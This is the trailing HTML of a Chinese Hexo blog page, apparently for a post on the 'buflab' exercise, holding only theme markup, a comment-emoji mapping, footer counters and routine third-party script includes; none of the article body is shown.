            "tv_可爱": "9e55fd9b500ac4b96613539f1ce2f9499e314ed9.png",
            "tv_吐血": "09dd16a7aa59b77baa1155d47484409624470c77.png",
            "tv_呆": "fe1179ebaa191569b0d31cecafe7a2cd1c951c9d.png",
            "tv_呕吐": "9f996894a39e282ccf5e66856af49483f81870f3.png",
            "tv_困": "241ee304e44c0af029adceb294399391e4737ef2.png",
            "tv_坏笑": "1f0b87f731a671079842116e0991c91c2c88645a.png",
            "tv_大佬": "093c1e2c490161aca397afc45573c877cdead616.png",
            "tv_大哭": "23269aeb35f99daee28dda129676f6e9ea87934f.png",
            "tv_委屈": "d04dba7b5465779e9755d2ab6f0a897b9b33bb77.png",
            "tv_害羞": "a37683fb5642fa3ddfc7f4e5525fd13e42a2bdb1.png",
            "tv_尴尬": "7cfa62dafc59798a3d3fb262d421eeeff166cfa4.png",
            "tv_微笑": "70dc5c7b56f93eb61bddba11e28fb1d18fddcd4c.png",
            "tv_思考": "90cf159733e558137ed20aa04d09964436f618a1.png",
            "tv_惊吓": "0d15c7e2ee58e935adc6a7193ee042388adc22af.png",
            "tv_打脸": "56ab10b624063e966bfcb76ea5dc4794d87dfd47.png",
            "tv_抓狂": "fe31c08edad661d63762b04e17b8d5ae3c71a757.png",
            "tv_抠鼻": "c666f55e88d471e51bbd9fab9bb308110824a6eb.png",
            "tv_斜眼笑": "911f987aa8bc1bee12d52aafe62bc41ef4474e6c.png",
            "tv_无奈": "ea8ed89ee9878f2fece2dda0ea8a5dbfe21b5751.png",
            "tv_晕": "5443c22b4d07fb1907ccc610c8e6db254f2461b7.png",
            "tv_流汗": "cead1c351ab8d79e9f369605beb90148db0fbed3.png",
            "tv_流泪": "7e71cde7858f0cd50d74b0264aa26db612a8a167.png",
            "tv_流鼻血": "c32d39db2737f89b904ca32700d140a9241b0767.png",
            "tv_点赞": "f85c354995bd99e28fc76c869bfe42ba6438eff4.png",
            "tv_生气": "26702dcafdab5e8225b43ffd23c94ac1ff932654.png",
            "tv_生病": "8b0ec90e6b86771092a498c54f09fc94621c1900.png",
            "tv_疑问": "0793d949b18d7be716078349c202c15ff166f314.png",
            "tv_白眼": "c1d59f439e379ee50eef488bcb5e5378e5044ea4.png",
            "tv_皱眉": "72ccad6679fea0d14cce648b4d818e09b8ffea2d.png",
            "tv_目瞪口呆": "0b8cb81a68de5d5365212c99375e7ace3e7891b7.png",
            "tv_睡着": "8b196675b53af58264f383c50ad0945048290b33.png",
            "tv_笑哭": "1abc628f6d4f4caf9d0e7800878f4697abbc8273.png",
            "tv_腼腆": "89712c0d4af73e67f89e35cbc518420380a7f6f4.png",
            "tv_色": "61822c7e9aae5da76475e7892534545336b23a6f.png",
            "tv_调侃": "4bc022533ef31544ca0d72c12c808cf4a1cce3e3.png",
            "tv_调皮": "b9c41de8e82dd7a8515ae5e3cb63e898bf245186.png",
            "tv_鄙视": "6e72339f346a692a495b123174b49e4e8e781303.png",
            "tv_闭嘴": "c9e990da7f6e93975e25fd8b70e2e290aa4086ef.png",
            "tv_难过": "87f46748d3f142ebc6586ff58860d0e2fc8263ba.png",
            "tv_馋": "fc7e829b845c43c623c8b490ee3602b7f0e76a31.png",
            "tv_鬼脸": "0ffbbddf8a94d124ca2f54b360bbc04feb6bbfea.png",
            "tv_黑人问号": "45821a01f51bc867da9edbaa2e070410819a95b2.png",
            "tv_鼓掌": "1d21793f96ef4e6f48b23e53e3b9e42da833a0f6.png"
                // ... 更多表情
            }
        });
      });
    }
    createObserver(loadValine, 'vcomments');
  </script>
      <style>
        #vcomments textarea {
            box-sizing: border-box;
            background: url("/img/v2-f3d5c26e7ac0da80ee72b6dc178d6aa1_b005.gif") 100% 100% no-repeat;
        }
      </style>
  <noscript>Please enable JavaScript to view the <a target="_blank" href="https://valine.js.org" rel="nofollow noopener noopener">comments
      powered by Valine.</a></noscript>
 -->

              </article>
            
          </article>
        </div>
      </div>
    </div>
    
      <div class="d-none d-lg-block col-lg-2 toc-container" id="toc-ctn">
        <div id="toc">
  <p class="toc-header"><i class="iconfont icon-list"></i>&nbsp;目录</p>
  <div id="tocbot"></div>
</div>

      </div>
    
  </div>
</div>

<!-- Custom -->

  <div class="col-lg-7 mx-auto nopadding-md">
    <div class="container custom post-content mx-auto">
      <img src="/img/371905140-ROBOT-WAVING-400px-unscreen(1).gif" srcset="/img/loading.gif" class="rounded mx-auto d-block mt-5" style="width:200px; height:200px;" >
    </div>
  </div>


    
  </main>

  
    <a id="scroll-top-button" href="#" role="button">
      <i class="iconfont icon-arrowup" aria-hidden="true"></i>
    </a>
  

  
    <div class="modal fade" id="modalSearch" tabindex="-1" role="dialog" aria-labelledby="ModalLabel"
     aria-hidden="true">
  <div class="modal-dialog modal-dialog-scrollable modal-lg" role="document">
    <div class="modal-content">
      <div class="modal-header text-center">
        <h4 class="modal-title w-100 font-weight-bold">搜索</h4>
        <button type="button" id="local-search-close" class="close" data-dismiss="modal" aria-label="Close">
          <span aria-hidden="true">&times;</span>
        </button>
      </div>
      <div class="modal-body mx-3">
        <div class="md-form mb-5">
          <input type="text" id="local-search-input" class="form-control validate">
          <label data-error="x" data-success="v"
                 for="local-search-input">关键词</label>
        </div>
        <div class="list-group" id="local-search-result"></div>
      </div>
    </div>
  </div>
</div>
  

  

  

  <footer class="mt-5">
  <div class="text-center py-3">
    <div>
      <a href="https://hexo.io" target="_blank" rel="nofollow noopener"><span>Hexo</span></a>
      <i class="iconfont icon-love"></i>
      <a href="https://github.com/fluid-dev/hexo-theme-fluid" target="_blank" rel="nofollow noopener">
        <span>Fluid</span></a>
        <br>
        <span>©2019 - 2020 By</span>
        <a href="https://github.com/rainrime" target="_blank" rel="nofollow noopener"><span>kunzh</span></a>
    </div>
    
  <div class="statistics">
    
    

    
      
        <!-- 不蒜子统计PV -->
        <span id="busuanzi_container_site_pv" style="display: none">
            总访问量 
            <span id="busuanzi_value_site_pv"></span>
             次
          </span>
      
      
        <!-- 不蒜子统计UV -->
        <span id="busuanzi_container_site_uv" style="display: none">
            总访客数 
            <span id="busuanzi_value_site_uv"></span>
             人
          </span>
      
    
  </div>


    

    
  </div>
</footer>


<!-- SCRIPTS -->
<script  src="https://cdn.staticfile.org/jquery/3.4.1/jquery.min.js" ></script>
<script  src="https://cdn.staticfile.org/twitter-bootstrap/4.4.1/js/bootstrap.min.js" ></script>
<script  src="/js/debouncer.js" ></script>
<script  src="/js/main.js" ></script>

<!-- Plugins -->


  
    <script  src="/js/lazyload.js" ></script>
  



  



  <script defer src="https://cdn.staticfile.org/clipboard.js/2.0.6/clipboard.min.js" ></script>
  <script  src="/js/clipboard-use.js" ></script>



  <script defer src="https://busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js" ></script>





  <script  src="https://cdn.staticfile.org/tocbot/4.11.1/tocbot.min.js" ></script>
  <script>
    $(document).ready(function () {
      var boardCtn = $('#board-ctn');
      var boardTop = boardCtn.offset().top;

      tocbot.init({
        tocSelector: '#tocbot',
        contentSelector: '#post-body',
        headingSelector: 'h1,h2,h3,h4,h5,h6',
        linkClass: 'tocbot-link',
        activeLinkClass: 'tocbot-active-link',
        listClass: 'tocbot-list',
        isCollapsedClass: 'tocbot-is-collapsed',
        collapsibleClass: 'tocbot-is-collapsible',
        collapseDepth: 6,
        scrollSmooth: true,
        headingsOffset: -boardTop
      });
      if ($('.toc-list-item').length > 0) {
        $('#toc').css('visibility', 'visible');
      }
    });
  </script>



  <script  src="https://cdn.staticfile.org/typed.js/2.0.11/typed.min.js" ></script>
  <script>
    var typed = new Typed('#subtitle', {
      strings: [
        '  ',
        "buflab&nbsp;",
      ],
      cursorChar: "_",
      typeSpeed: 70,
      loop: false,
    });
    typed.stop();
    $(document).ready(function () {
      $(".typed-cursor").addClass("h2");
      typed.start();
    });
  </script>



  <script  src="https://cdn.staticfile.org/anchor-js/4.2.2/anchor.min.js" ></script>
  <script>
    anchors.options = {
      placement: "right",
      visible: "hover",
      
      icon: "❡"
      
    };
    var el = "h1,h2,h3,h4,h5,h6".split(",");
    var res = [];
    for (item of el) {
      res.push(".markdown-body > " + item)
    }
    anchors.add(res.join(", "))
  </script>



  <script  src="/js/local-search.js" ></script>
  <script>
    var path = "/local-search.xml";
    var inputArea = document.querySelector("#local-search-input");
    inputArea.onclick = function () {
      searchFunc(path, 'local-search-input', 'local-search-result');
      this.onclick = null
    }
  </script>



  <script  src="https://cdn.staticfile.org/fancybox/3.5.7/jquery.fancybox.min.js" ></script>
  <link  rel="stylesheet" href="https://cdn.staticfile.org/fancybox/3.5.7/jquery.fancybox.min.css" />

  <script>
    $('#post img:not(.no-zoom img, img[no-zoom]), img[zoom]').each(
      function () {
        var element = document.createElement('a');
        $(element).attr('data-fancybox', 'images');
        $(element).attr('href', $(this).attr('src'));
        $(this).wrap(element);
      }
    );
  </script>





  

  
    <!-- KaTeX -->
    <link  rel="stylesheet" href="https://cdn.staticfile.org/KaTeX/0.11.1/katex.min.css" />
  



  
  
    <script type="text/javascript">
      //定义获取词语下标
      var a_idx = 0;
      jQuery(document).ready(function ($) {
        //点击body时触发事件
        $("body").click(function (e) {
          //需要显示的词语
          var a = new Array("富强", "民主", "文明", "和谐", "自由", "平等", "公正", "法治", "爱国", "敬业", "诚信", "友善");
          //设置词语给span标签
          var $i = $("<span/>").text(a[a_idx]);
          //下标等于原来下标+1  余 词语总数
          a_idx = (a_idx + 1) % a.length;
          //获取鼠标指针的位置，分别相对于文档的左和右边缘。
          //获取x和y的指针坐标
          var x = e.pageX, y = e.pageY;
          //在鼠标的指针的位置给$i定义的span标签添加css样式
          $i.css({
            "z-index": 999,
            "top": y - 20,
            "left": x,
            "position": "absolute",
            "font-weight": "bold",
            "color": rand_color()
          });
          // 随机颜色
          function rand_color() {
            return "rgb(" + ~~(255 * Math.random()) + "," + ~~(255 * Math.random()) + "," + ~~(255 * Math.random()) + ")"
          }
          //在body添加这个标签
          $("body").append($i);
          //animate() 方法执行 CSS 属性集的自定义动画。
          //该方法通过CSS样式将元素从一个状态改变为另一个状态。CSS属性值是逐渐改变的，这样就可以创建动画效果。
          //详情请看http://www.w3school.com.cn/jquery/effect_animate.asp
          $i.animate({
            //将原来的位置向上移动180
            "top": y - 180,
            "opacity": 0
            //1500动画的速度
          }, 1500, function () {
            //时间到了自动删除
            $i.remove();
          });
        });
      })
      ;
    </script>
  



  <script>(function (i, s, o, g, r, a, m) {
      i['DaoVoiceObject'] = r;
      i[r] = i[r] ||
        function () {
          (i[r].q = i[r].q || []).push(arguments);
        };
      i[r].l = 1 * new Date();
      a = s.createElement(o);
      m = s.getElementsByTagName(o)[0];
      a.async = 1;
      a.src = g;
      a.charset = 'utf-8';
      m.parentNode.insertBefore(a, m);
    })(window, document, 'script', ('https:' === document.location.protocol ? 'https:' : 'http:') + "//widget.daovoice.io/widget/244aa65c.js", 'daovoice');
    daovoice('init', {
      app_id: "244aa65c",
    });
    daovoice('update');
  </script>






  <script  src="https://cdn.staticfile.org/mermaid/8.5.0/mermaid.min.js" ></script>
  <script>
    if (window.mermaid) {
      mermaid.initialize({"theme":"default"});
    }
  </script>




  

  

  

  

  

  





</body>
</html>
